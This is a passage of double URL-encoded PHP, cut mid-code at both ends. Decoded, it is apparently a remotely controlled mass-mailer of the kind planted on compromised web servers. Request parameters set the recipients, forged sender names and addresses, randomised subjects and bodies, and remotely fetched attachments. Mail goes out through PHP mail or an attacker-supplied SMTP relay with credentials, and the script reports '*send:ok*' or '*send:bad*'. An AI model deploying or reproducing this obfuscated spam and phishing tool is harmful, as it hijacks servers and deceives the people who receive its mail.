%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_replyto%2520%253D%2520%2528%2521empty%2528%2524_REQUEST%255B%2527rpt%2527%255D%2529%2529%2520%253F%2520trim%2528%2524this-%253Eprocess_macros_random%2528%2524_REQUEST%255B%2527rpt%2527%255D%252C%2520%2524data%2529%2529%2520%253A%2520null%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_from%2520%2520%2520%2520%253D%2520%2524this-%253Eprocess_macros_random%2528%2524this-%253Ehandle_data%2528%2524_REQUEST%255B%2527f%2527%255D%2529%252C%2520%2524data%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_name%2520%253D%2520%2524r_from%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%253D%2520%2524this-%253Eget_text_between%2528%2524r_from%252C%2520%2527%253C%2527%252C%2520%2527%253E%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524from_addr%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_name%2520%253D%2520trim%2528str_replace%2528%2527%253C%2527.%2524from_addr.%2527%253E%2527%252C%2520%2527%2527%252C%2520%2524from_name%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524from_addr%252C%2520%2527%2540%2527%2529%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520.%253D%2520%2527%2540%2527.%2524this-%253Ebasedomain%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524email%2520%253D%2520%2524data%255B0%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524email_domain%2520%253D%2520explode%2528%2527%2540%2527%252C%2520%2524email%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524email_domain%2520%253D%2520%2524email_domain%255B1%255D%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_name%2520%253D%2520str_replace%2528array%2528%2527%255Bfrom%253A%255D%2527%252C%2520%2527%255Bemail%253A%255D%2527%252C%2520%2527%255Bemaildomain%253A%255D%2527%2529%252C%2520array%2528%2524r_from%252C%2520%2524email%252C%2520%2524email_domain%2529%252C%2520%2524from_name%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%253D%2520str_replace%2528array%2528%2527%255Bfrom%253A%255D%2527%252C%2520%2527%255Bemail%253A%255D%2527%252C%2520%2527%255Bemaildomain%253A%255D%2527%2529%252C%2520array%2528%2524r_from%252C%2520%2524email%252C%2520%2524email_domain%2529%252C%2520%2524from_addr%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_subject%2520%253D%2520%2524this-%253Ehandle_data%2528%2524_REQUEST%255B%2527s%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_subject%2520%253D%2520str_replace%2528array%2528%2527%255Bfrom%253A%255D%2527%252C%2520%2527%255Bemail%253A%255D%2527%252C%2520%2527%255Bemaildomain%253A%255D%2527%2529%252C%2520array%2528%2524r_from%252C%2520%2524email%252C%2520%2524email_domain%2529%252C%2520%2524r_subject%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_subject%2520%253D%2520%2524this-%253Eprocess_macros_random%2528%2524r_subject%252C%2520%2524data%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_message%2520%253D%2520%2524_REQUEST%255B%2527m%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_message%2520%253D%2520str_replace%2528array%2528%2527%255Bfrom%253A%255D%2527%252C%2520%2527%255Bemail%253A%255D%2527%252C%2520%2527%255Bemaildomain%253A%255D%2527%2529%252C%2520array%2528%2524r_from%252C%2520%2524email%252C%2520%2524email_domain%2529%252C%2520%2524r_message%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_message%2520%253D%2520%2524this-%253Eprocess_macros_random%2528%2524r_message%252C%2520%2524data%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524this-%253Esend_email%2528%2524email%252C%2520%2524from_name%252C%2520%2524from_addr%252C%2520%2524r_subject%252C%2520%2524r_message%252C%2520%2524r_replyto%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520die%2528%2527%252Asend%253Abad%252A%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520die%2528%2527%252Asend%253Aok%252A%2527%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520send_email%2528%2524to%252C%2520%2524from_name%252C%2520%2524from_addr%252C%2520%2524subject%252C%2520%2524message%252C%2520%2524replyto%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524has_attachment%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_FILES%255B%2527attachment%2527%255D%2529%2520%2526%2526%2520%2521%2524_FILES%255B%2527attachment%2527%255D%255B%2527error%2527%255D%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524has_attachment%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524file_string%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524filename%2520%2520%2520%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_FILES%255B%2527file%2527%255D%2529%2520%2526%2526%2520%2540is_file%2528%2524_FILES%255B%2527file%2527%255D%255B%2527tmp_name%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524file_string%2520%2520%2520%2520%253D%2520%2524this-%253Efile_string%2528%2524_FILES%255B%2527file%2527%255D%255B%2527name%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524filename%2520%2520%2520%2520%2520%2520%2520%253D%2520isset%2528%2524_REQUEST%255B%2527fn%2527%255D%2529%2520%253F%2520%2524_REQUEST%255B%2527fn%2527%255D%2520%253A%2520%2524_FILES%255B%2527file%2527%255D%255B%2527name%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524has_attachment%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524this-%253Eattachment_array%2529%2520%2526%2526%2520is_array%2528%2524this-%253Eattachment_array%2529%2520%2526%2526%2520count%2528%2524this-%253Eattachment_array%2529%2520%253E%25200%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524has_attachment%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524content_type%2520%253D%2520%2524has_attachment%2520%253F%2520%2527multipart/mixed%2527%2520%253A%2520%2527multipart/alternative%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524from_name%2520%2520%2520%2520%253D%2520%2524from_name%2520%253F%2520%2524from_name%2520%253A%2520%2524this-%253Erandom_text%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%2520%2520%2520%253D%2520%2524from_addr%2520%253F%2520%2524from_addr%2520%253A%2520str_replace%2528%2527%2520%2527%252C%2520%2527%2527%252C%2520%2524from_name%2529.%2527%2540%2527.%2524this-%253Ebasedomain%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521is_null%2528%2524replyto%2529%2520%2526%2526%2520strpos%2528%2524replyto%252C%2520%2527%2540%2527%2529%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524replyto%2520.%253D%2520%2527%2540%2527.%2524this-%253Ebasedomain%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524type%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%253D%2520%2528isset%2528%2524_REQUEST%255B%2527tp%2527%255D%2529%2520%2526%2526%2520%2524_REQUEST%255B%2527tp%2527%255D%2520%253D%253D%2520%25271%2527%2529%2520%253F%2520%2527text/html%2527%2520%253A%2520%2527text/plain%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524boundary_mixed%2520%253D%2520md5%2528time%2528%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524boundary_alt%2520%2520%2520%253D%2520md5%2528time%2528%2529%2520%252B%25201%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%2520%2520%2520%2520%2520%2520%2520%253D%2520%2524this-%253Eget_headers%2528%2524from_name%252C%2520%2524from_addr%252C%2520%2524replyto%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524this-%253Eunsubscribe%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520%2527List-Unsubscribe%253A%2520%253Cmailto%253A%2527.%2524from_addr.%2522%253E%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524has_attachment%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520%2522Content-Type%253A%2520%2524content_type%253B%2520boundary%253D%255C%2522%2524boundary_alt%255C%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520%2520%253D%2520%2522--%2524boundary_alt%255Cr%255CnContent-Type%253A%2520text/plain%253B%2520charset%253DUTF-8%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520chunk_split%2528base64_encode%2528%2524this-%253Ecut_tags%2528%2524message%2529%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524type%2520%253D%253D%2520%2527text/html%2527%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522%255Cr%255Cn%255Cr%255Cn--%2524boundary_alt%255Cr%255CnContent-Type%253A%2520text/html%253B%2520charset%253DUTF-8%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520chunk_split%2528base64_encode%2528%2524message%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522%255Cr%255Cn%255Cr%255Cn--%2524boundary_alt--%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520%2522Content-Type%253A%2520%2524content_type%253B%2520boundary%253D%255C%2522%2524boundary_mixed%255C%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520%2520%253D%2520%2522--%2524boundary_mixed%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522Content-Type%253A%2520multipart/alternative%253B%2520boundary%253D%255C%2522%2524boundary_alt%255C%2522%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522--%2524boundary_alt%255Cr%255CnContent-Type%253A%2520text/plain%253B%2520charset%253DUTF-8%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520chunk_split%2528base64_encode%2528%2524this-%253Ecut_tags%2528%2524message%2529%2529%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524type%2520%253D%253D%2520%2527text/html%2527%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522--%2524boundary_alt%255Cr%255CnContent-Type%253A%2520text/html%253B%2520charset%253DUTF-8%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520chunk_split%2528base64_encode%2528%2524message%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522--%2524boundary_alt--%255Cr%255Cn%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524file_string%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522%255Cr%255Cn%255Cr%255Cn--%2524boundary_mixed%255Cr%255CnContent-Type%253A%2520%2522.%2524_FILES%255B%2527file%2527%255D%255B%2527type%2527%255D.%2522%253B%2520name%253D%255C%2522%2524filename%255C%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522Content-Disposition%253A%2520attachment%253B%2520filename%253D%255C%2522%2524filename%255C%2522%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255CnX-Attachment-Id%253A%2520%2522.rand%25281000%252C%252099999%2529.%2522%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520chunk_split%2528base64_encode%2528%2524file_string%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524this-%253Eattachment_array%2520%2526%2526%2520is_array%2528%2524this-%253Eattachment_array%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524this-%253Eattachment_array%2520as%2520%2524attach%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521isset%2528%2524attach%255B0%255D%2529%2520%257C%257C%2520%2521isset%2528%2524attach%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524attach%255B1%255D%2520%253D%2520trim%2528%2524attach%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524file_cont%2520%253D%2520%2524this-%253Edownload_source%2528%2524attach%255B0%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524file_cont%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540file_put_contents%2528%2524attach%255B1%255D%252C%2520%2524file_cont%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524attach%255B1%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524file_data%2520%253D%2520%2540file_get_contents%2528%2524attach%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mtype%2520%2520%2520%2520%2520%253D%2520%2524this-%253Eget_mime_type%2528%2524attach%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522%255Cr%255Cn%255Cr%255Cn--%2524boundary_mixed%255Cr%255CnContent-Type%253A%2520%2522.%2524mtype.%2522%253B%2520name%253D%255C%2522%2522.%2524attach%255B1%255D.%2522%255C%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522Content-Disposition%253A%2520attachment%253B%2520filename%253D%255C%2522%2522.%2524attach%255B1%255D.%2522%255C%2522%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255CnX-Attachment-Id%253A%2520%2522.rand%25281000%252C%252099999%2529.%2522%255Cr%255Cn%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520chunk_split%2528base64_encode%2528%2524file_data%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540unlink%2528%2524attach%255B1%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520.%253D%2520%2522%255Cr%255Cn%255Cr%255Cn--%2524boundary_mixed--%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528function_exists%2528%2527iconv%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524subject_enc%2520%253D%2520%2522%253D%253F%2522.%2524this-%253Eencoding.%2522%253FB%253F%2522.base64_encode%2528%2540iconv%2528%2527UTF-8%2527%252C%2520%2524this-%253Eencoding%252C%2520%2524subject%2529%2529.%2522%253F%253D%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524subject_enc%2520%253D%2520%2522%253D%253F%2522.%2524this-%253Eencoding.%2522%253FB%253F%2522.base64_encode%2528%2524subject%2529.%2522%253F%253D%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524sent%2520%253D%2520%2524this-%253Esend_email_method%2528%2524this-%253Ebasedomain%252C%2520%2524from_addr%252C%2520%2524to%252C%2520%2524subject_enc%252C%2520%2524body%252C%2520%2524headers%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524sent%2520%2526%2526%2520%2524this-%253Ebasedomain%2520%2521%253D%2520%2524this-%253Efulldomain%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%253D%2520str_replace%2528%2527%2540%2527.%2524this-%253Ebasedomain%252C%2520%2527%2540%2527.%2524this-%253Efulldomain%252C%2520%2524from_addr%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%253D%2520str_replace%2528%2527%2540%2527.%2524this-%253Ebasedomain%252C%2520%2527%2540%2527.%2524this-%253Efulldomain%252C%2520%2524headers%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sent%2520%253D%2520%2524this-%253Esend_email_method%2528%2524this-%253Efulldomain%252C%2520%2524from_addr%252C%2520%2524to%252C%2520%2524subject_enc%252C%2520%2524body%252C%2520%2524headers%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524sent%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520send_email_method%2528%2524domain%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524subject%252C%2520%2524body%252C%2520%2524headers%2520%253D%2520%2522%2522%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524methods%2520%253D%2520%2528isset%2528%2524_REQUEST%255B%2527sm%2527%255D%2529%2520%2526%2526%2520is_array%2528%2524_REQUEST%255B%2527sm%2527%255D%2529%2529%2520%253F%2520%2524_REQUEST%255B%2527sm%2527%255D%2520%253A%2520array%2528%2527mail%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520ksort%2528%2524methods%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%253D%2520trim%2528%2524headers%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255EFrom%253A/mi%2527%252C%2520%2524headers%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520.%253D%2520%2528%2524headers%2520%253F%2520%2522%255Cr%255Cn%2522%2520%253A%2520%2522%2522%2529.%2522From%253A%2520%2522.%2524mail_from.%2522%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers_fd%2520%253D%2520%2524headers%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255EDate%253A/mi%2527%252C%2520%2524headers_fd%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers_fd%2520%253D%2520%2522Date%253A%2520%2522.%2524this-%253Eget_header_date%2528%2529.%2522%255Cr%255Cn%2522.%2524headers_fd%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255EMessage-ID%253A/mi%2527%252C%2520%2524headers_fd%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers_fd%2520%253D%2520%2522Message-ID%253A%2520%253C%2522.%2524this-%253Eget_header_message_id%2528%2524domain%2529.%2522%253E%255Cr%255Cn%2522.%2524headers_fd%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255ETo%253A/mi%2527%252C%2520%2524headers_fd%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers_fd%2520.%253D%2520%2528%2524headers_fd%2520%253F%2520%2522%255Cr%255Cn%2522%2520%253A%2520%2522%2522%2529.%2522To%253A%2520%2522.%2524to%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521preg_match%2528%2527/%255ESubject%253A/mi%2527%252C%2520%2524headers_fd%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers_fd%2520%253D%2520%2522Subject%253A%2520%2522.%2524subject.%2522%255Cr%255Cn%2522.%2524headers_fd%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524methods%2520as%2520%2524m%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524m%2520%253D%253D%253D%2520%2522proxy%2522%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2527ph%2527%255D%252C%2520%2524_REQUEST%255B%2527pp%2527%255D%252C%2520%2524_REQUEST%255B%2527pl%2527%255D%252C%2520%2524_REQUEST%255B%2527pw%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%253D%2520%2522%2524headers_fd%255Cr%255Cn%255Cr%255Cn%2524body%255Cr%255Cn.%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2524this-%253Esmtp_connect%2528%2524_REQUEST%255B%2527ph%2527%255D%252C%2520%2528int%2529%2524_REQUEST%255B%2527pp%2527%255D%252C%2520%2524_REQUEST%255B%2527pp%2527%255D%2520%253D%253D%2520%2527465%2527%2520%253F%2520%2527ssl%2527%2520%253A%2520null%252C%252010%252C%2520true%252C%2520true%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524sock%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524this-%253Esmtp_helo_auth_send%2528%2524sock%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524data%252C%2520%2524domain%252C%2520%2524_REQUEST%255B%2527pl%2527%255D%252C%2520%2524_REQUEST%255B%2527pw%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%